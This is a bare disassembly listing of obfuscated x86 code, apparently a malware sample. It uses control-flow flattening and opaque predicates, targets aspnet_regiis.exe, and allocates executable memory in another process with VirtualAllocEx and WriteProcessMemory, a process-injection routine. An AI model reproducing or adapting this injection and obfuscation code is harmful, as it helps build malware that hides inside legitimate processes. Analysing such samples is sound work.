mov ecx, 0x41885bb3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd1a02c3d
mov ecx, 0x2342cfe7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov dword [ebp - 0x17c], 0x3c3245ce
jmp 0x1000545b
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x17c], 0x75ad8206
jmp 0x1000545b
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call fcn.10001d40
add esp, 4
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x130]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x130]
mov edx, dword [eax + 0x34]
mov esi, dword [ebp - 0x24]
lea ecx, [ebp - 0x14]
lea eax, [ebp - 0x70]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x17c], 0xed9adda1
jmp 0x1000545b
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax + 0x34]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x104]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x17c], 0xfbe65074
jmp 0x1000545b
mov eax, dword [ebp - 0x130]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x17c], 0x640261df
jmp 0x1000545b
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xdc]
mov edx, dword [ebp - 0xdc]
add edx, 0x5a35e6fe
add edx, eax
sub edx, 0x5a35e6fe
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0xe0]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x17c], 0x19e077be
jmp 0x1000545b
mov dword [ebp - 0x17c], 0x7b3e46a1
jmp 0x1000545b
mov dword [ebp - 0x17c], 0x46f72f73
jmp 0x1000545b
mov dword [ebp - 0x17c], 0xcfd4beae
jmp 0x1000545b
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x17c], 0x2342cfe7
jmp 0x100022a0